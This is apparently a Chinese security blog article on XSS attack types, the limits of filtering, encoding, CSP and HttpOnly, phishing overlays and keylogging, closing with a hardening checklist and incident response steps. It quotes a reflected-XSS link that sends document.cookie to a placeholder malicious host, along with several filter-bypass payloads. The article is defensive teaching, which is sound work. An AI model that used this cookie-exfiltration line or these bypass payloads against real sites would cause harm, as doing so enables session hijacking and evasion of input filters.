XSS跨站脚本攻击与防御：从注入原理到落地检查清单-北京尧图网络

这个系列写到现在前面几篇把漏洞发现、信息收集和注入类攻击都过了一遍。今天这篇我打算把 XSS 单独拎出来聊透因为它在漏洞圈里的地位非常特殊——看起来最容易理解实际上防御起来最头疼。你过滤了尖括号它还有十六进制编码你上了 CSP它改走 DOM clobbering你给 Cookie 打了 HttpOnly它干脆不偷 Cookie 了直接在你眼皮底下弹一个假登录框骗密码或者静默记录用户敲下的每一个按键。很多业务系统在安全评估里被打穿往往不是死在 SQL 注入这种硬茬上而是死在这些不起眼的 JS 片段里。这篇会用攻防对抗的视角把 XSS 的关键类型、主流防御手段及其边界、钓鱼弹窗和键盘记录这两类高危害攻击的完整链路拆开揉碎最后给出一套能直接落到代码评审和应急流程里的检查清单。适合三类人看写前后端的开发同学、做安全测试的同行、负责业务系统运维的同事。内容里所有案例都经过脱敏处理不涉及任何真实系统攻击演示也全部以防御和检测为目的未授权对他人系统做测试是踩红线的行为这一点必须放在最前面说清楚。1. 先搞清楚对手在打哪一层三类 XSS 与各自的防御盲区很多人聊 XSS 开口就是过滤特殊字符这个直觉不能算错但恰恰是这种粗颗粒度的直觉让防御工作永远慢半拍。要防住 XSS首先得理解攻击者到底在哪个上下文里执行代码——是在 HTML 标签内、在 JavaScript 字符串里、还是在 DOM 属性里。上下文不同防御策略完全不一样。1.1 反射型 XSS骗一次就完事但攻击者最爱的恰恰是它反射型 XSS 的特点是一次性。攻击者构造一个携带恶意参数的链接诱导受害者点击参数被服务端拼接到页面里浏览器解析后执行恶意脚本。用户关掉页面就没事了看起来危害有限但它依然是钓鱼攻击的黄金搭档。我在做评估时见过一个典型场景某客服系统把用户提交的工单编号直接回显在搜索结果页没有做任何编码处理。攻击者构造了一个形如搜索结果?qscriptlocationhttps://恶意地址/document.cookie/script的链接通过即时通讯软件发给客服人员。客服只要点一下整个会话就被接管了。这类攻击之所以难防御是因为服务端确实做了输出但做的是不可信输入的裸输出。它不依赖数据库写入日志里也很难留痕受害者自己根本感知不到异常。关于这类攻击有一个认知误区需要纠正反射型 XSS 并不只是弹个框给你看。攻击者完全可以在恶意脚本里加载远程 JavaScript把当前页面改造成一个钓鱼界面或者引导用户跳转到仿冒站点。所以哪怕是一次性的反射型漏洞在社工场景里也能撬动很高的价值。1.2 存储型 XSS写入数据库的定时炸弹存储型 XSS 攻击者的输入被持久化到服务端任何访问该页面的用户都会中招。它不需要诱导点击也不需要受害者配合危害是潜伏性的。论坛签名档、商品评价、共享文档的批注区、工单系统的备注字段这些都是存储型 XSS 的高发地。我印象很深的是一个论坛案例运营团队为了让帖子更生动允许用户自定义昵称的颜色直接在输出时拼接了内联样式和自定义标签。有人把昵称写成一段完整的script代码管理员在后台列表页一点开这条帖子浏览器就执行了脚本把管理员的会话令牌发了出去。后台沦陷之后攻击者又通过管理功能批量修改了用户密码一天之内整站沦丧。存储型 XSS 最难防的地方在于输入端是数据库写入操作攻击载荷被洗白之后不再像是攻击。很多 WAF 看到script就拦截但攻击者只需要把载荷拆成多段写入前端再拼接恢复WAF 就哑火了。这类漏洞的防御必须依赖输出侧的上下文编码而不是输入端的关键字拦截。如果你们团队还在靠过滤 script、过滤 onerror来防存储型 XSS我建议尽早切换到输出编码体系。1.3 DOM 型 XSS前端框架时代的隐形重灾区DOM 型 XSS 跟前面两类有个本质区别它不经过服务端交互。页面加载后前端 JavaScript 直接读取location.hash、document.referrer、window.name或postMessage传过来的数据然后用这些数据去修改 DOM。全程没有 HTTP 请求服务端日志里什么都看不到WAF 更是完全失灵。举个例子某单页应用实现了一个站内通知功能前端从 URL 参数读取noticeId用document.getElementById(notice).innerHTML data.content这种方式渲染通知内容。这个data.content如果来自不可信来源攻击者只需要诱导用户访问一个带有恶意 hash 的链接前端代码就会把攻击者控制的 HTML 注入到页面里。这个过程中服务端完全不知情所有防御依赖的日志分析也失去作用。我在评估中经常遇到前端框架开发者说我们用的框架默认转义了所以 XSS 不存在了。这种说法对了一半。现代框架确实默认转义文本插值但框架也提供了跳脱默认保护的 API——比如 React 的dangerouslySetInnerHTML、Vue 的v-html以及各种富文本编辑器组件。只要代码里出现这些 API 的调用并且传入的数据来自外部就等于亲手给攻击者开了一扇门。2. 主流防御手段逐个拆每条防线都有绕过的后门谈完攻击类型来说防御。下面这些手段我相信读者多少都接触过但我要重点讲的是它们的适用边界和绕过思路。理解防线的薄弱处不是为了教大家怎么打穿系统而是为了让加固工作有方向感。2.1 输入过滤的黑名单之痛输入过滤是历史最悠久、也最容易被绕过的手段。核心思路是判断用户输入里有没有恶意关键字有就删除或转义。组合非常多删script、禁onclick、换alert、缩javascript:。但黑名单本质上是用已知攻击模式去套未知输入天然慢半拍。攻击者只需要简单变换黑名单就失效。经典的scrscriptipt自删除绕过把完整的标签拆成两段程序删掉中间那个script之后剩下的反而拼成了完整的标签。大小写混合、HTML 实体编码、\和/互换、\n和空格互换这些都是黑名单的近亲。还有编码绕过javascript:写成java#x73;cript:HTML 解析器照样能识别。白名单思路则要安全得多定义允许的字符集合和允许的标签集合不在集合里的统统拒绝。比如用户名只允许中英文、数字、下划线富文本只允许b、i、a且校验 href 必须以白名单协议开头。但白名单不是万能药它对高度动态的输入场景比如富文本编辑很难收敛容易误伤业务。白名单能做到可接受的安全水平但在识别绕过变体这件事上机器远不如攻击者灵活。2.2 输出编码的上下文陷阱真正被行业认可的 XSS 防御核心是输出编码它的逻辑是数据本身是不可信的不管它看起来多安全到了 HTML 里都要按数据来处理而不是按代码来处理。但问题在于编码必须按输出位置的上下文选择对应的规则用错语境等于白编。看四个例子就知道区别有多大。第一类输出在 HTML 标签正文里比如p用户评论/p需要对、、做 HTML 实体编码。第二类输出在 HTML 属性里比如input value回显值除了实体编码还必须处理双引号否则攻击者用闭合属性后注入新属性。第三类输出在 JavaScript 字符串里比如var a 回显值这时必须做 JavaScript 转义、\、换行符统统要转义如果只做了 HTML 实体编码遇到\/script这种组合就会在解析层提前闭合标签。第四类输出在 URL 里比如a href回显值那就得做 URL 编码并且协议白名单校验否则javascript:伪协议就会趁虚而入。我见过一个电商项目的真实情况开发团队在 Java 后端加了一个全局的 HTML 实体编码过滤器所有从后端传到前端的字段都被编码了。表面看这个项目做了防御但深度测试发现前端有几个功能是接收后端传过来的 JSON 数据然后直接用 JavaScript 拼接到页面上,全局过滤器只对 HTTP 响应里的 HTML 生效对 JSON 里的字符串完全不起作用。这就是典型的用了输出编码但没用对上下文。2.3 CSP 和 HttpOnly浏览器侧防线能兜住多少CSP内容安全策略是浏览器提供的一套白名单机制通过响应头告诉浏览器这个页面允许加载哪些来源的脚本、样式、图片。配置得当的 CSP 能把注入的恶意脚本挡在执行之外——就算攻击者把script src恶意域名/x.js写进了页面浏览器发现该域名不在白名单里拒绝加载和解析。但 CSP 有一个绕不开的弱点它管的是代码从哪里来管不了代码合不合法。现在很多站点为了开发效率在 CSP 里配上unsafe-inline或者unsafe-eval前者允许内联脚本后者允许动态执行字符串代码这两个配置一旦出现CSP 的说服力就大打折扣。攻击者如果能把载荷做成内联脚本或者能调用eval接口CSP 形同虚设。所以配置 CSP 的时候能不用unsafe-inline就别用能不用unsafe-eval就别用。如果因为业务原因必须用那就要有对应的检测手段盯着。HttpOnly 的作用是禁止 JavaScript 访问带此标记的 Cookie专门对付盗取会话令牌的脚本。它对存储型 XSS 确实是有效防御——攻击者拿到 HttpOnly Cookie 的途径基本被切断了。但它管不了另外两件事第一XSS 攻击者不偷 Cookie 也能干坏事比如篡改页面内容、发起 CSRF 请求、执行恶意操作第二键盘记录攻击本身就跟 Cookie 无关它只需要在页面里挂一个监听键盘事件的脚本。所以 HttpOnly 很好但它只是纵深防御的一条线不是全部。2.4 安全头的边际递减除了 CSP 和 HttpOnly还有一批安全头也经常出现在加固清单里X-Frame-Options或者frame-ancestors防点击劫持X-Content-Type-Options防 MIME 类型嗅探Referrer-Policy控制来源信息泄露。这些头对特定场景有效但边际效应很明显。真正要小心的是为了过安全检查而配置安全头的心态——配置安全头和实际的安全能力之间存在很大距离。有次评估遇到一个系统安全头配了一整套看起来非常专业但打开首页源码一看直接把第三方统计脚本和广告脚本放在了最前面连子资源完整性校验SRI都没有。防御者的注意力都被这些漂亮的响应头吸引走了真正的风险藏在页面里。3. 从钓鱼弹窗到键盘记录一次完整攻击链的攻防推演原理讲清楚了来看实战里危害最大的两类攻击路径。我会站在防御者的视角把攻击链整个过一遍重点告诉大家每个攻击环节在系统日志和浏览器行为上留下什么特征运维侧应该盯什么。3.1 钓鱼弹窗官方页面弹出的官方登录框钓鱼弹窗的思路非常简单既然用户的会话令牌被 HttpOnly 保护着偷不到那就不偷了。攻击者直接在页面上渲染一个跟系统登录框长得一模一样的浮层配上官方 logo 和文案诱导用户重新输入账号密码。用户看到的是官方系统的页面觉得再正常不过直到密码被送进攻击者的服务器。这类攻击的技术门槛很低但成功率极高。关键在于用户没有技术手段判断页面里的浮层是不是原生的。防御方的对策略是什么第一在开发规范里明确禁止敏感操作依赖前端校验重要输入的提交必须走服务端二次验签第二用 CSP 的frame-ancestors限制页面被抓取到钓鱼框架里第三也是被很多团队忽略的主动监控登录接口的异常调用频率和来源分布。攻击者收集到的密码最终要派上用场——他们通常会用这些密码去撞其他系统或者直接登录目标系统这个行为会在登录日志里留下明显的特征比如一个 IP 在短时间内在不同账号间切换登录。我在一次应急响应里遇到过非常经典的连环案攻击者先找到一个存储型 XSS 漏洞在商品详情页里注入了一段脚本。这段脚本首先检查用户的浏览器指纹如果是系统后台管理员指纹匹配内部办公网段就在页面上渲染一个假的二次认证弹窗。管理员输入短信验证码后脚本第一时间把它转发到攻击者的服务器。整个过程没有触碰任何 Cookie没有触发任何 WAF 告警唯一能看出的线索是后台登录接口在凌晨三点出现了十几个不同账号的登录请求来源 IP 全部指向境外。3.2 键盘记录HttpOnly 防不住的那条路键盘记录攻击是 XSS 利用里的另一种高收益玩法。攻击者注入的脚本给页面绑定一个全局的键盘事件监听器用户每一次按键——包括密码框里的输入——都会被脚本捕获。捕获后通过 AJAX 请求发送到攻击者控制的服务器。因为这种攻击不需要读取 CookieHttpOnly 对它毫无作用因为事件监听是前端合法能力浏览器的安全机制也不会有任何阻拦。这里我不展开攻击代码的实现细节但防御者必须理解它的技术路径才能设计出有效的检测方案。键盘记录脚本要持续工作有几个不可避免的暴露面它必须和页面绑定全局事件监听这个行为在浏览器的开发者工具里可以检测到——只要用getEventListeners()检查页面里的keydown和keypress监听器就能发现异常。攻击者需要把数据外传必然有一个目标服务器地址这个地址会出现在网络请求里。现在的浏览器扩展和代理工具都能记录页面发出的所有网络请求跑批分析请求域名就能抓出藏在正常业务请求里的外连。脚本注入后往往需要隐藏自己会在页面里创建一个隐藏的 iframe 或者不可见的 DOM 节点DOM 结构检测脚本可以抓到这些可疑节点。所以运行侧防御的核心不是阻止注入而是发现注入后的异常行为。建议在监控体系里加这么三条规则一条查页面网络请求中的未知域名一条查 DOM 里动态创建的隐藏节点一条查浏览器事件监听器的异常绑定。三管齐下键盘记录脚本再隐蔽也会露出马脚。3.3 攻击链时间线攻击者如何一步步扩大战果把前面两类攻击整合起来看一次完整的 XSS 攻击链大概是这样的节奏攻击者先花几天时间探测目标系统找到一个可控的输出点然后用无害载荷验证注入可行性确认漏洞后部署第一波脚本——通常是浏览器指纹采集把经过页面的用户都标记上设备信息接着就是等待等到目标管理员登录后台时脚本升级为钓鱼弹窗管理员输入密码的瞬间攻击者拿到凭证最后攻击者通过合法身份进入后台批量导出数据或者植入持久化后门。整个过程可能持续一周甚至更久前期的探测和踩点占了大半时间真正的攻击发生在一两秒之内。防御方的问题在于很多团队把注意力全放在防注入上而攻击链条里真正能被监控端捕捉到的信号——异常外连、非工作时间登录、从未知设备访问关键页面——反而没有专人盯。我给甲方做安全评估时经常说一句话你要么把 XSS 漏洞堵死要么把攻击链路的中间环节监控起来这两件事至少得做到一件不然就是在裸奔。4. 高发的绕过手法验证码、WAF 与过滤器的漏网之鱼信息安全行业有句话叫检测器的质量决定防御的天花板。再好的过滤器、WAF、验证机制都存在绕过空间。这一章集中讲常见的绕过手法和高频出现问题的检测点帮助读者在写过滤规则和部署安全设备时避开这些坑。4.1 编码与语法层的绕过思路攻击者绕过过滤器的第一招永远是编码。同一样东西HTML 里有实体编码、URL 里有百分号编码、JavaScript 里有 Unicode 转义、Base64 还能再包一层解析器在不同阶段会逐层解码过滤器往往只检查了其中一层。举例来说img srcx onerroralert(1)被拦截了攻击者改用img srcx onerror#97;lert(1)——a被替换成 HTML 实体编码浏览器解析时照样解出alert而过滤器如果没做解码再检查这一步就会被绕过。再比如在 JavaScript 上下文中alert(1)可以被写成\u0061lert(1)其中\u0061解析完是字母a。还有一个经常被忽视的思路是利用解析器的宽容性。HTML 解析器遇到不合法的字符、多余的标签闭合、意外的引号倾向于自行纠正而不是报错。攻击者利用这种宽容性可以构造非常畸形的载荷让过滤器觉得这肯定不是有效标签的代码在浏览器的解析下却是有效的。过滤器要跟上各层解析器的解码逻辑是所有规则类防御的共同难题。4.2 上下文混淆过滤得对但用错了地方这类绕过比编码更隐蔽。它的问题出在防御者对输入会被放到哪个上下文判断失误。典型的例子一个系统把用户输入插入到a href输入的 href 属性里后端做了 HTML 实体编码和属性编码看着没问题。但攻击者输入了javascript:alert(1)URL 上下文没做协议白名单校验浏览器点击链接后依然会执行 JavaScript因为javascript:协议在浏览器层面本身就是合法的。另一个例子用户反馈功能把用户邮箱回显在页面里的scriptvar user 邮箱;/script这段脚本中后端只做了 HTML 实体编码没有做 JavaScript 字符串转义攻击者输入;alert(1);//直接闭合了字符串和语句插入了新代码。这类问题的共性是防御者做了编码但用的是我以为的上下文对应的编码而不是实际解析器会遇到的上下文对应的编码。要解决它团队里必须有几个人对浏览器的解析顺序有足够深的理解——HTML 解析器先于 JavaScript 解析器属性解析在不同的引号状态下行为完全不同这些细节靠背规范不如多拿几个本地靶场做实验来得直观。4.3 前端框架的自动转义困境现代前端框架普及之后很多开发者默认框架会帮我处理 XSS。这话对大趋势没错但框架的安全边界非常具体。以两个主流框架为例Vue 的模板插值{{ }}是自动转义的但v-html指令会把内容当 HTML 渲染完全跳过编码React 的 JSX 表达式默认转义但dangerouslySetInnerHTML这个名字已经说明了风险。还有各类基于 JavaScript 的富文本编辑器和 markdown 渲染库它们生成的 HTML 往往要经过一系列清洗逻辑而清洗逻辑本身也经常存在绕过漏洞。坦白说前端框架降低的只是无意识犯错的概率并没有消除刻意跳过安全机制的能力。只要代码评审里出现v-html、dangerouslySetInnerHTML、document.write、outerHTML这类调用都应该被标记为必须人工 review 的高风险点。如果非要使用富文本渲染建议在服务端做一层内容净化用成熟的开源清洗方案自定义清洗逻辑的代价极高而且很容易在正则表达式里埋下新的漏洞。5. 落地防御从加固清单到应急响应的完整闭环前面讲了这么多原理和案例最后落到操作层。这一章我尽量给可以直接拿走用的东西——开发侧的加固检查项、运行侧的监控规则、应急响应的操作步骤。这不是标准答案但在很多项目里验证过可以按团队实际情况裁剪。5.1 开发侧顽固性加固清单以下是我在新项目或者存量项目整改时实际用过的检查项按优先级从高到低排列优先级检查项操作要求P0表单输入和服务端出参统一走编码组件每个输出点必须按上下文调用对应编码不写裸输出P0禁用危险前端 API全局搜索v-html、dangerouslySetInnerHTML、document.write、innerHTML全部改成文本渲染或经过服务端净化P0敏感字段 HttpOnly会话 Cookie、登录凭证必须带 HttpOnly 和 Secure 标记P1CSP 配置所有页面配置script-src、object-src、frame-ancestors等指令逐步去掉unsafe-inlineP1URL 协议白名单所有动态链接统一校验协议只允许 http/https禁止javascript:等伪协议P1富文本净化富文本统一走服务端白名单清洗禁止前端直接渲染未净化内容P2JSON 接口的上下文编码返回给前端的 JSON 字符串字段按 JavaScript 字符串上下文做转义P2依赖巡检第三方脚本统一加 SRI 校验核心页面禁止加载未知域名脚本这里面 P0 级别的四条是底线做不到就不要讨论 XSS 防御了。P1 属于重点加固P2 属于完善。5.2 运行侧检测规则与监控点很多安全团队强在开发侧清单弱在运行侧监控。实际上运行侧的监控是发现已发生攻击的最后一道防线。建议至少配四条规则第一条网络层外连检测页面发起的请求里除白名单域名之外的新域名访问全部告警第二条DOM 层异常检测定时扫描线上页面抓取动态创建的隐藏 iframe、隐藏输入框、异常全局事件监听器第三条登录行为检测单个 IP 高频切换账号、非工作时间登录、同一账号多设备同时活跃这三类行为直接关联到钓鱼和键盘记录的下一步利用场景第四条告警数据落库所有跟 XSS 相关的告警把当时的页面 URL、注入点、来源 IP、浏览器指纹全部记下来方便事后回溯。这套监控体系的成本不会太高但要有人真正去看告警。我之前见过一个客户监控规则配了十几条告警风暴把运维同学淹没了结果真正的攻击告警被当成垃圾信息忽略了两周。监控规则的收益跟规则的精度强相关宁可先配三条精准的也不要一上来就铺十条阈值拍脑袋的空规则。5.3 应急响应复盘模板最后是应急响应的操作顺序。假设你已经收到告警怀疑页面存在 XSS 注入按下面的流程走一遍第一步止损。确认注入范围如果注入脚本存在外连行为立即把目标域名加入防火墙面单封锁外连同时通知业务组切换维护页阻断持续利用。第二步取证。从日志里提取所有命中可疑规则的请求包括用户代理、IP、请求参数、触发页面保存原始报文用浏览器开发者工具检查页面里是否还有存活的恶意节点。第三步分析根因。找到第一个注入点确认是反射型、存储型还是 DOM 型逐层追踪数据流定位没有做编码的源头。第四步修复。按第 5.1 节的清单完成编码和过滤加固重点修复根因输出点不要只是删掉恶意数据。第五步复盘。回答三个问题为什么防御没拦住本次攻击为什么监控在攻击发生多少分钟后才发现现有代码库里还有没有同类输出点这三个问题的答案才是这次应急真正留下的资产。写在最后的经验做了这么多年攻防方面的评估和应急我最大的体会是XSS 防御做得好的团队往往不是用了多高级的工具而是把输入不可信、输出要编码、权限最小化这几条原则贯彻到了日常的代码评审和发布流程里。还有一个被很多人低估的小技巧定期用自动扫描器做全站 XSS 巡检再把扫描结果和代码评审记录交叉对比能非常高效地发现那些临时绕过规则写出来的输出点。防御工作没有一劳永逸的解决方案但每一次复盘把新问题补进检查清单里下一次对抗就能少踩一个坑。

XSS跨站脚本攻击与防御：从注入原理到落地检查清单

相关推荐

手搓一个命令行技能追踪工具：用SQLite管理你的成长曲线

C++归并排序入门：分治递归、复杂度推导与工程优化实践

数据库设计核心原则与实战：从范式到分库分表

更多资讯

CVE-2025-14528：D-Link DIR-803配置信息泄露漏洞解读

从0到2万Star：一套AI编程实操教程的完整复盘

Linux下QT C++集成海康SDK：实时取流与云台控制实战

杰理692N SDK开发入门：从源码结构到跑通第一个音频工程

AgentRouter config.toml 配置详解：Codex中转站工程化落地指南

博格尔长期投资回报模型：用股息率、盈利增长与估值变化拆解市场

今日更新

微信云开发旅游小程序实战：LBS打卡+UGC社交全栈方案

金融AI代理平台核心拆解：从多代理协作到财报分析实战

基于大数据的智慧旅游推荐与可视化平台架构实践

本周精选

金融AI落地指南：从调研报告到技术选型与工程实践

大模型上下文成本与注意力优化技术深度解析——为何O(n²)平方复杂度无法被常规优化消除｜TaoToken 统一 Key 通道实测

基于GMM的语音识别系统原理与MATLAB实现详解

本月热门

我发现了一个新思路：用 Remotion + Claude Code 像写代码一样自动化生成短视频

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式：TaoToken 统一 Key 配置与验证

2026 大模型集体涨价：用 Python 做企业 Token 成本测算与选型避坑（附配置）

读完文章，想聊聊您的网站？